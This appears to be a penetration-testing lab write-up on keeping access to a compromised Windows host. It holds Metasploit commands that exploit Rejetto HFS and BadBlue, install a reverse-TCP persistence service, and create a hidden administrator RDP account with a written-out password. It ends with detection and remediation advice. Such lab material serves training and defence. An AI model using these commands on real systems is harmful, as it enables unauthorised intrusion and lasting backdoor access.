2025-12-11 / Log: maintaining_access_persistence_service

Maintaining Access: Persistence Service

Maintaining Access: Persistence Service

Classification: Host & Network Penetration Testing / Post-Exploitation
Target: Windows host (Rejetto HFS / BadBlue)

1. Executive Summary

Two ways to maintain access to a compromised Windows host: a service-based backdoor that survives reboots (persistence_service), re-caught with a multi/handler; and an RDP backdoor account created with getgui, hidden from the login screen and added to the Remote Desktop Users and Administrators groups.

2. Method A — persistence_service

ping -c 4 <target>
db_nmap -sV <target>
use exploit/windows/http/rejetto_hfs_exec
exploit

Ping target

Nmap scan

Rejetto exploited

Migrating to an x64 process.

Migrated to x64

background
use exploit/windows/local/persistence_service
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
run

Searching persistence_service (1)

Module options (2)

Persistence installed (3)

Killing all sessions and restarting MSF to test persistence.

Restarting MSF

A multi/handler with the same settings catches the backdoor again — persistence confirmed.

Re-caught via multi/handler

3. Method B — RDP Backdoor (getgui)

db_nmap -sV <target>
searchsploit badblue
use exploit/windows/http/badblue_passthru
exploit

Nmap scan

Searchsploit BadBlue

BadBlue — Meterpreter

Migrated to x64

Creating a hidden RDP user (enables RDP if disabled).

run getgui -e -u joselito -p hacker_123321
Adding User: joselito ... Hiding user from Windows Login screen
Adding User: joselito to 'Remote Desktop Users' and 'Administrators'

getgui — RDP backdoor user

xfreerdp /u:joselito /p:hacker_123321 /v:<target>

xfreerdp with the backdoor account (1)

RDP access — persistence confirmed (2)

4. Detection & Remediation Recommendations

  1. Audit services and local accounts — alert on new services with suspicious binaries and on hidden accounts (SpecialAccounts registry) added to privileged/RDP groups.
  2. Monitor RDP enablement (Terminal Services startup, firewall changes) and new logons.
  3. EDR + application allow-listing to catch backdoor artifacts; use the modules’ cleanup resource scripts to understand what they drop.
  4. Least privilege so an attacker can’t install services or create accounts.